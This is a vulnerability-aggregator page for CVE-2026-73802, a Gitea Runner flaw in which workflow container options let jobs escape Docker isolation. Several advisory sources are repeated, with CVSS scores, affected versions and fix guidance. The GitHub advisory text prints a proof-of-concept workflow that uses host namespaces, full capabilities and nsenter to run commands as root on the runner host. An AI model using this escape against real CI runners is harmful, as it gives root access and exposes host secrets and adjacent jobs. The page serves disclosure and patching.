CVE-2026-73802
Gitea Runner host isolation bypass through container options
Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. Host namespace settings, expanded capabilities, and security profile overrides can remain effective despite Privileged being forced false. A workflow author able to run jobs on an affected Docker-backed runner can use these options to access host namespaces and execute commands as root on the runner host, bypassing the intended container isolation.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
Gitea Runner host isolation bypass through container options
Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. Host namespace settings, expanded capabilities, and security profile overrides can remain effective despite Privileged being forced false. A workflow author able to run jobs on an affected Docker-backed runner can use these options to access host namespaces and execute commands as root on the runner host, bypassing the intended container isolation.
- Record
CVE-2026-73802- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
EUVDEUVD-2026-101107
8.8
Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. Host namespace settings, expanded capabilities, and security profile overrides can remain effective despite Privileged being forced false. A workflow author able to run jobs on an affected Docker-backed runner can use these options to access host namespaces and execute commands as root on the runner host, bypassing the intended container isolation.
- Record
EUVD-2026-101107- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-x4q3-gcj3-m6cf
9.9
gitea-runner: workflow container.options passes host namespaces and capability flags to job container when privileged mode is disabled
Summary
act_runner appends workflow-controlled jobs.<job>.container.options directly
to the Docker HostConfig for the job container. When runner privileged mode is
disabled, only Privileged is forced false. Host namespace flags, capability
expansion, and security profile overrides from workflow YAML are preserved in
the final HostConfig. A workflow author can enter host PID/IPC namespaces and
execute commands on the runner host as root.
Details
Source-to-sink path in act_runner:
ContainerSpec.Optionsaccepts workflow YAMLcontainer.optionsRunContext.options()appends workflow options to runner-level container options- Job container is created with
Privileged: rc.Config.Privilegedbut also withOptions: rc.options(ctx) mergeContainerConfigs()parses Docker CLI-style options into HostConfig- When privileged mode is disabled, only
copts.privilegedis forced false sanitizeConfig()only filtersBindsandMounts- Preserved dangerous HostConfig fields:
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
Attacker workflow YAML:
jobs:
breakout:
runs-on: ubuntu-latest
container:
image: ubuntu:22.04
options: >-
--pid=host --ipc=host --cap-add=ALL
--security-opt seccomp=unconfined
--security-opt apparmor=unconfined
steps:
- name: host namespace marker
run: |
nsenter -t 1 -m -u -i -n -p -- sh -c "id > /tmp/marker"
Impact
An attacker who can submit a workflow to a repository using a shared Docker-backed act_runner can:
- Enter host PID, IPC, and mount namespaces
- Execute arbitrary commands as root on the runner host
- Access runner host secrets, deployment credentials, and environment variables
- Pivot to adjacent jobs running on the same runner
- Access internal build infrastructure reachable from the runner host
Critical severity for shared runners where untrusted users can trigger workflows. High severity for single-tenant runners with privileged mode explicitly disabled as a security control.
Fix Direction
Treat container.options as untrusted input. Reject or strip when
privileged mode is disabled:
- Host namespaces:
--pid=host,--ipc=host,--uts=host,--network=host - Capability expansion:
--cap-add ALL,--cap-add SYS_ADMIN - Security overrides:
--security-opt seccomp=unconfined,--security-opt apparmor=unconfined - Device access:
--device,--device-cgroup-rule - Volume inheritance:
--volumes-from - Runtime controls:
--runtime,--cgroup-parent
- Record
GHSA-x4q3-gcj3-m6cf- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
NVD
8.8
Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. Host namespace settings, expanded capabilities, and security profile overrides can remain effective despite Privileged being forced false. A workflow author able to run jobs on an affected Docker-backed runner can use these options to access host namespaces and execute commands as root on the runner host, bypassing the intended container isolation.
- Record
CVE-2026-73802- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
OSVGHSA-x4q3-gcj3-m6cf
9.9
gitea-runner: workflow container.options passes host namespaces and capability flags to job container when privileged mode is disabled
Summary
act_runner appends workflow-controlled jobs.<job>.container.options directly
to the Docker HostConfig for the job container. When runner privileged mode is
disabled, only Privileged is forced false. Host namespace flags, capability
expansion, and security profile overrides from workflow YAML are preserved in
the final HostConfig. A workflow author can enter host PID/IPC namespaces and
execute commands on the runner host as root.
Details
Source-to-sink path in act_runner:
ContainerSpec.Optionsaccepts workflow YAMLcontainer.optionsRunContext.options()appends workflow options to runner-level container options- Job container is created with
Privileged: rc.Config.Privilegedbut also withOptions: rc.options(ctx) mergeContainerConfigs()parses Docker CLI-style options into HostConfig- When privileged mode is disabled, only
copts.privilegedis forced false sanitizeConfig()only filtersBindsandMounts- Preserved dangerous HostConfig fields:
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
Attacker workflow YAML:
jobs:
breakout:
runs-on: ubuntu-latest
container:
image: ubuntu:22.04
options: >-
--pid=host --ipc=host --cap-add=ALL
--security-opt seccomp=unconfined
--security-opt apparmor=unconfined
steps:
- name: host namespace marker
run: |
nsenter -t 1 -m -u -i -n -p -- sh -c "id > /tmp/marker"
Impact
An attacker who can submit a workflow to a repository using a shared Docker-backed act_runner can:
- Enter host PID, IPC, and mount namespaces
- Execute arbitrary commands as root on the runner host
- Access runner host secrets, deployment credentials, and environment variables
- Pivot to adjacent jobs running on the same runner
- Access internal build infrastructure reachable from the runner host
Critical severity for shared runners where untrusted users can trigger workflows. High severity for single-tenant runners with privileged mode explicitly disabled as a security control.
Fix Direction
Treat container.options as untrusted input. Reject or strip when
privileged mode is disabled:
- Host namespaces:
--pid=host,--ipc=host,--uts=host,--network=host - Capability expansion:
--cap-add ALL,--cap-add SYS_ADMIN - Security overrides:
--security-opt seccomp=unconfined,--security-opt apparmor=unconfined - Device access:
--device,--device-cgroup-rule - Volume inheritance:
--volumes-from - Runtime controls:
--runtime,--cgroup-parent
- Record
GHSA-x4q3-gcj3-m6cf- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-269
- Updated
- 2026-11-02
OSVGO-2026-6656 No score
gitea-runner: workflow container.options passes host namespaces and capability flags to job container when privileged mode is disabled in gitea.com/gitea/runner
gitea-runner: workflow container.options passes host namespaces and capability flags to job container when privileged mode is disabled in gitea.com/gitea/runner
- Record
GO-2026-6656- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
gitea.com/gitea/runnerGo |
before 1.0.9-0.20260731160927-34bfa1915022 | 1.0.9-0.20260731160927-34bfa1915022 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | sn0x-sharma/Gitea2shell-Sandbox-Escape-to-Host-RCE | 2026-11-09 |
History
| Recorded | Changed | Sources |
|---|---|---|
| exploits, facts | PoC in GitHub | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-73802 is a high vulnerability (CVSS 8.8) in Gitea Runner, published October 2, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.55%, the 46th percentile. Fixed in gitea.com/gitea/runner 1.0.9-0.20260731160927-34bfa1915022.